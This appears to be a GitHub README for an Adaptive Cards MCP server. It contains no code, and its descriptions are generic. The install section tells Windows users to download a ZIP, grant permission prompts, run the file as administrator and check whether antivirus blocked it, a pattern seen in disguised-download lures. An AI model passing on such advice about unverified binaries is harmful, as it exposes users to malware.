🤖 adaptive-cards-mcp - Build Better Cards With Less Effort

🧩 What this is
adaptive-cards-mcp is a Windows-friendly AI tool that helps you create, check, and improve Adaptive Cards for Microsoft Teams, Outlook, Copilot, ChatGPT, and other tools that use the Model Context Protocol (MCP).
It gives you a set of 9 tools for:
- generating cards from simple prompts
- checking card structure
- fixing common card issues
- optimizing card layout
- preparing cards for different apps
- working faster with AI assistants
If you need a clean way to make Adaptive Cards without dealing with the full technical setup, this project keeps the process simple.
⬇️ Download and install
Use this link to visit the download page:
https://github.com/hinominomi/adaptive-cards-mcp
On Windows, follow these steps:
- Open the link above in your browser.
- Download the latest release or package from the page.
- If you get a file, save it to a folder you can find again, like Downloads or Desktop.
- If the file is a ZIP, right-click it and choose Extract All.
- Open the extracted folder.
- Run the app or start file from that folder.
If Windows asks for permission, choose Yes so the app can run.
🪟 Windows setup
For most Windows users, this app works best when you keep it in one folder and run it from there.
Use this setup flow:
- Create a new folder for the app, such as
C:\adaptive-cards-mcp. - Move the downloaded files into that folder.
- If the app came as a ZIP file, extract it there.
- Double-click the main file to start it.
- Leave the folder in place so the app can keep its files together.
If the app connects to other AI tools or editors, keep them open only when you need them.
✨ What you can do
This server helps you work with Adaptive Cards in a few clear ways:
- Create new cards from a plain English prompt
- Check whether a card follows the right format
- Find layout problems before you send a card
- Improve card text for Teams and Outlook
- Prepare cards for AI tools like Copilot and ChatGPT
- Use the same card logic across different apps
- Test card changes without rebuilding from scratch
- Keep cards more consistent across projects
- Save time when you repeat the same card tasks
🛠️ Main tools
adaptive-cards-mcp includes 9 tools built for card work:
- Card generator
- Card validator
- Card optimizer
- Card formatter
- Card fixer
- Card preview helper
- Card compatibility checker
- Card template helper
- Card conversion helper
These tools are built to work with MCP-aware apps, so you can use them through tools like Copilot Studio, Cursor, VS Code, Windsurf, and similar clients.
💻 What you need
A typical Windows setup should include:
- Windows 10 or Windows 11
- A modern web browser
- Enough free space to store the downloaded files
- Access to an MCP client or AI app if you plan to use the tools there
- Internet access for the first download
For best results, keep your browser, AI client, and card files easy to reach.
🚀 Getting started
After you install the app:
- Start adaptive-cards-mcp.
- Open the AI app or editor you want to use.
- Connect that app to the MCP server.
- Ask it to create or check an Adaptive Card.
- Review the result and make small changes if needed.
A simple prompt might look like this:
- Create a Teams card for a meeting reminder
- Check this Adaptive Card JSON for errors
- Make this Outlook card easier to read
- Optimize this card for Copilot
📋 Common uses
People use adaptive-cards-mcp for tasks like:
- team alerts
- meeting reminders
- approval cards
- status updates
- inbox cards
- support cards
- chatbot responses
- Copilot workflows
- dashboard-style messages
It works well when you want a fast path from idea to a working Adaptive Card.
🔌 Supported apps
This project is made for tools and platforms that work with Adaptive Cards and MCP, including:
- Microsoft Teams
- Outlook
- Copilot
- Copilot Studio
- ChatGPT
- Cursor
- VS Code
- Windsurf
- GitHub Copilot
- Bot Framework apps
🧪 How to use it well
Use short, clear prompts when you ask the AI to build a card.
Good prompt examples:
- Build a Teams card for a new task alert
- Check this card for missing fields
- Make the layout work better on mobile
- Convert this message into an Adaptive Card
If the card looks too busy, ask for:
- fewer buttons
- shorter text
- simpler sections
- stronger spacing
- better label names
📁 Simple folder layout
You may see files like these after download:
- a main app file
- a config file
- a README file
- a package folder
- sample card files
Keep all files in the same folder unless the release notes tell you to move them.
🧭 If the app does not start
If nothing happens when you open the file:
- Check that the download finished.
- Make sure you extracted the ZIP file.
- Try running the file again as administrator.
- Check that your antivirus did not block it.
- Move the folder to a simple path like
C:\adaptive-cards-mcp. - Make sure another copy of the app is not already running.
🔎 If your card does not work
If a card fails in Teams, Outlook, or another app:
- Check the JSON format.
- Remove unsupported fields.
- Shorten long text.
- Test the card in the target app.
- Use the validator tool to find issues.
- Try a simpler layout first.
🧰 Best results
To keep your workflow smooth:
- use one folder for the app
- keep your release files together
- save sample cards for reuse
- test cards in the final app
- use plain text in prompts
- make one change at a time
📦 Project details
- Repository: adaptive-cards-mcp
- Description: AI-powered Adaptive Card MCP server
- Package name: adaptive-cards-mcp
- Focus: create, validate, and improve Adaptive Cards
- Target users: non-technical users, builders, and AI tool users
📝 Example prompts
Try prompts like these in your MCP client:
- Create a clean Teams announcement card
- Validate this Adaptive Card JSON
- Make this card easier to read in Outlook
- Optimize the layout for mobile devices
- Turn this message into an Adaptive Card for Copilot
🔗 Download again
If you need to return to the download page, use this link:
https://github.com/hinominomi/adaptive-cards-mcp
🧩 Topics
adaptive-card, adaptive-cards, ai, bot-framework, card-generator, chatgpt, claude, copilot, copilot-studio, cursor, github-copilot, mcp, mcp-server, microsoft-teams, model-context-protocol, openai, outlook, typescript, vscode, windsurf